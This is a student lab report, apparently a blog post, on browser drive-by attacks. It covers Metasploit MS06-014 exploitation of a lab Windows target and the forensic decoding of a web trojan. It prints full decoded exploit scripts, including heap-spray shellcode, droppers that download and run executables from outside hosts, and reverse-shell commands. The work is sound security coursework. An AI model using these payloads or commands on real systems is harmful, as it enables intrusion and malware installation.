20222801 2022-2023-2 《网络攻防实践》第十一周作业

1.实践内容

1.1实践任务

1.1.1web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块。
②选择PAYLOAD为任意远程Shell连接。
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本。
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本URL。
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令。

1.1.2取证分析实践—网页木马攻击场景分析

实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。

1.1.3攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

1.2原理知识

1.2.1网页木马

网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。

1.2.2网络钓鱼

网络钓鱼(Phishing)是社会工程学的一种。类似于现实中的钓鱼,攻击者伪装成可信任的发件人,向受害者发送具有欺骗性质的消息,设下“诱饵”,诱导受害者点击恶意链接,并在攻击者仿冒的网页上提供敏感数据。利用获取到的信息,攻击者可以直接通过交易受害者的个人数据牟取经济利益,或借此发动下一步网络攻击。攻击者也有可能在钓鱼信息中附有恶意软件,在受害者在打开钓鱼信息的恶意附件后,攻击者的恶意软件就可趁虚而入,在受害者的系统中运行。除此之外,攻击者也可能误导受害者将资金或资产错误地转移给他人。

1.2.3浏览器结构

DOM 解析 (HTML, XML, SVG, MathML, XUL)
脚本处理 (JavaScript, VBScript, asm.js, WebAssembly)
协议支持 (HTTP, FTP, WebSocket, HTTP/2, QUIC, DNS, mDNS, WebRTC)
媒体流支持 (JPG, GIF, PNG, WebM, Ogg, AAC, MP3, MP4, FLAC)
包含的中间件(Skia, ffmpeg, ICU, NSS, OpenVR, libpng, sqlite)
各种 API(Fetch API, Push API, Extension API, Fullscreen API, Web Speech API)
UI 组建(Location Bar, History, Bookmark, Context Menu)
安全功能(SOP, XSS Filter, CSP, SRI, TLS, Mixed Content, HSTS, HPKP, CT)
便利功能(Chrome Extension, Reading View, Secret Mode)
其它

2.实践过程

2.1web浏览器渗透攻击

攻击机:kali192.168.200.8
靶机:winXP192.168.200.122

首先在kali中输入msfconsole,进入Metasploit控制台
在这里插入图片描述
输入命令search MS06-014,搜索渗透攻击模块

在这里插入图片描述
输入use exploit/windows/browser/ie_createobject,使用该模块
在这里插入图片描述
输入set payload generic/shell_reverse_tcp设置载荷
再输入set RHOST 192.168.200.122设置靶机地址,输入set LHOST 192.168.200.8来设置攻击机地址

在这里插入图片描述

此时看到返回了一个网址http://192.168.200.8:8080/v4MHQdWauXnB,该网址即为有木马的网址
在这里插入图片描述

在靶机浏览器中输入该网址,会返回一串英文字符
在这里插入图片描述
输入sessions
在这里插入图片描述
再输入sessions -i 1,就可以打开会话,我们输入ipconfig命令进行验证
在这里插入图片描述
可以看到攻击成功

2.2网页木马攻击取证分析

2.2.1第一阶段:网页源码分析

首先使用gedit start.html打开网页代码文本,然后查找new09.htm
在这里插入图片描述
在这里插入图片描述
我们从src后面的路径信息可以发现,使用的是绝对路径,说明new09.htm与start.html是在同一路径下的
我们使用同样的操作打开new09.htm
在这里插入图片描述
可以看到里面引用到了两个文件,可以发现引用道德两个文件,接下来我们对两个文件进行散列求MD5值
在这里插入图片描述
在这里插入图片描述
在hashed文件中找到对应的文件,打开23180a42a2ff1192150231b44ffdf3d3,但是发现在gedit中打开会出现中文乱码的问题,所以使用windows打开
在这里插入图片描述

在这里插入图片描述
再打开第二个文件7f60672dcd6b5e90b6772545ee219bd3

从这一部分代码中可以看到:这个文件使用了xxtea分组密码算法进行了加密。密钥应该是\x73\x63\x72\x69\x70\x74
在这里插入图片描述
我们登录https://tool.lu/hexstr/ ,对密钥进行解密
在这里插入图片描述
(因为作业是分两天完成的,此处修改主机名后kali变得十分卡顿)
在这里插入图片描述
所以暂时重启暂时不修改主机名
我们对t变量(即为一串很长的字符串)进行解密,密钥即为script
在这里插入图片描述
然后将这串十六进制转化为字符串
在这里插入图片描述
完整结果如下:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

可以从代码中看到涉及到相关的四个漏洞:
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
依次求这四个的MD5值
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
依次得到对应的MD5值为:
依次得到其hash值
5d7e9058a857aa2abee820d5473c5fa4
3870c28cc279d457746b3796a262f166
5f0b8bf0385314dbe0e5ec95e6abedc2
1c1d7b3539a617517c49eee4120783b2

我们在下一阶段将在hash文件中对它们进行分析

第二阶段:对相关js文件进行分析

首先在hash文件中查看5d7e9058a857aa2abee820d5473c5fa4
在这里插入图片描述
我们对里面的内容进行十六进制到字符串的转化
在这里插入图片描述
得到的结果如下:

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

从url的信息中可以看出这段代码会下载一个014.exe的可执行文件

接下来再看3870c28cc279d457746b3796a262f166文件
在这里插入图片描述
从首段代码中的p,a,c,k,e,d中可以看出,我们应该使用packed进行解密
在这里插入图片描述

在这里插入图片描述

var bigblock = unescape("%u9090%u9090");
 
var headersize = 20;
 
var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
 
var slackspace = headersize + shellcode.length;
 
while (bigblock.length < slackspace) bigblock += bigblock;
 
fillblock = bigblock.substring(0, slackspace);
 
block = bigblock.substring(0, bigblock.length - slackspace);
 
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
 
memory = new Array();
 
for (x = 0; x < 300; x++) memory[x] = block + shellcode;
 
var buffer = '';
 
while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
 
storm.rawParse(buffer)

URL中必然出现斜线 /, / 的十六进制ASCII码是2f,在shellcode中找 / ,框选的地方共有六处,后四处比较可疑,因为两个2f密集。所以我们取从第三个2f开始到末尾的内容解密
在这里插入图片描述
得到结果http://down.18dd.net/bb/bf.exe

分析得出,这个文件会从http://down.18dd.net/bb/bf.exe,将一个名叫bf.exe的文件下载下来。

下面分析5f0b8bf0385314dbe0e5ec95e6abedc2
在这里插入图片描述
将其转化为字符串,结果为

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

会发现同样有shellcode编码,所以可以按照上一步的方法得到地址 http://down.18dd.net/bb/pps.exe,它会下载一个pps.exe的文件

我们计算这个地址的MD5
在这里插入图片描述
得到结果为ff59b3b8961f502289c1b4df8c37e2a4

至此,我们可以得到
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979

MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e

MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

然后在浏览器中输入http://192.168.68.253/scom/hashed/MD5值下载014.exe、bf.exe、pps.exe这三个可执行文件

最后一个 http://down.18dd.net/bb/bd.cab 做Hash得到结果为1C1D7B3539A617517C49EEE4120783B2,
我们在hash文件中找到并将其重命名为bd.cab,会发现这是一个压缩包,打开后就是bd.exe
在这里插入图片描述

至此,我们得到了四个可执行文件014.exe,bf.exe,pps.exe,bd.exe

2.2.3第三阶段:对exe可执行文件进行分析

我们对这四个可执行文件做MD5,会发现结果一样,所以我们只需要分析一个可执行文件即可

我们用PEid打开bf.exe,会发现该可执行文件是Delphi语言写的
在这里插入图片描述

我们使用IDA打开这个可执行文件
在这里插入图片描述
在这里插入图片描述
在流程图中可以看到其中有dword字段,为注册表的键值,可以猜测该程序可能会进行注册表的修改和删除的等一列操作
在这里插入图片描述
同时在string中发现下载了20个exe文件
在这里插入图片描述

2.3Web浏览器渗透攻击攻防

作为攻击方
步骤类似于第一个实践
首先使用kali输入msfconsole打开metasploit控制台
输入命令search MS06-014 ,搜索MS06-014渗透攻击模块
在这里插入图片描述
输入use exploit/windows/browser/ie_createobject使用该模块进行攻击,输入命令set RHOST 192.168.200.122,输入命令set LHOST 192.168.200.8来设置攻击机地址为kali,输入命令set payload windows/meterpreter/reverse_tcp设置载荷,最后输入exploit进行攻击,可以看到一个有木马的网址http://192.168.200.8:8080/ZZeJBzn5vbAi
在这里插入图片描述

在这里插入图片描述
使用靶机(192.168.200.122)打开该网址后,成功建立会话
在这里插入图片描述
使用指令sessions -i 1打开会话1,即可攻击成功
在这里插入图片描述
作为防守方
在浏览器中点击右键,查看那个网址的网页源代码
在这里插入图片描述
删除空白和间隔,利用压缩格式化工具http://www.esjson.com/htmlformat.html 去进行压缩格式化
在这里插入图片描述
最后得到如下结果:

<html><head><title></title><script language="javascript">function UAFxWqWengBBDyjOGgur(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function DG(a){var s=UAFxWqWengBBDyjOGgur(a,"WScript.Shell");var o=UAFxWqWengBBDyjOGgur(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\dMioq.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function qzOYiUnpVxKmDjXQZFuOEI(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=UAFxWqWengBBDyjOGgur(a,"WScript.Shell");if(b){DG(a);return(0)}}catch(e){}}i++}}</script></head><body onload='qzOYiUnpVxKmDjXQZFuOEI()'>duafIlNMYJKjSFkKtmGeHvJxh</body></html>

在这里插入图片描述

js代码中调用了document.location加载了 payload,并且从bin=e.Item(“TEMP”)+"\dMioq.exe"一句代码中可以看出它调用了一个程序,打开任务管理器,发现该程序正在运行,所以猜测这个程序就是攻击获得权限的关键
在这里插入图片描述
在这里插入图片描述

这里面的BD96C556-65A3-11D0-983A-00C04FC29E33是漏洞MS06-014中的clsid变量,也就证明这是MS06-014漏洞

3.学习中遇到的问题及解决

问题1:在第一个实验中无法成功建立会话
解决:经询问同学,winxp的靶机无法被成功攻击,所以后改为win2k作为靶机,成功建立会话攻击成功

问题2:在第二个取证分析实验中,对各种编码解码以及求MD5的步骤比较生疏,在代码中最开始不知道取证关键点在哪里
解决:经过询问同学,查阅资料,知道了一些常见的编码解码工具网站,以及理解了哪些地方有敏感信息,会是取证的关键地方

4.总结

这次的实践同样很有意思,切身感受到了为什么有些网站你点进去就会中病毒,并且通过取证分析懂得了整个流程的工作原理,同样的也再次锻炼了利用已知漏洞进行攻击的练习,很有趣且收获很大。

5.参考资料

https://www.zhihu.com/question/411139792【网页挂马】
https://www.ibm.com/cn-zh/topics/phishing【网络钓鱼】
https://www.cnblogs.com/wjw-zm/p/11823703.html【网页木马Webshell】

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值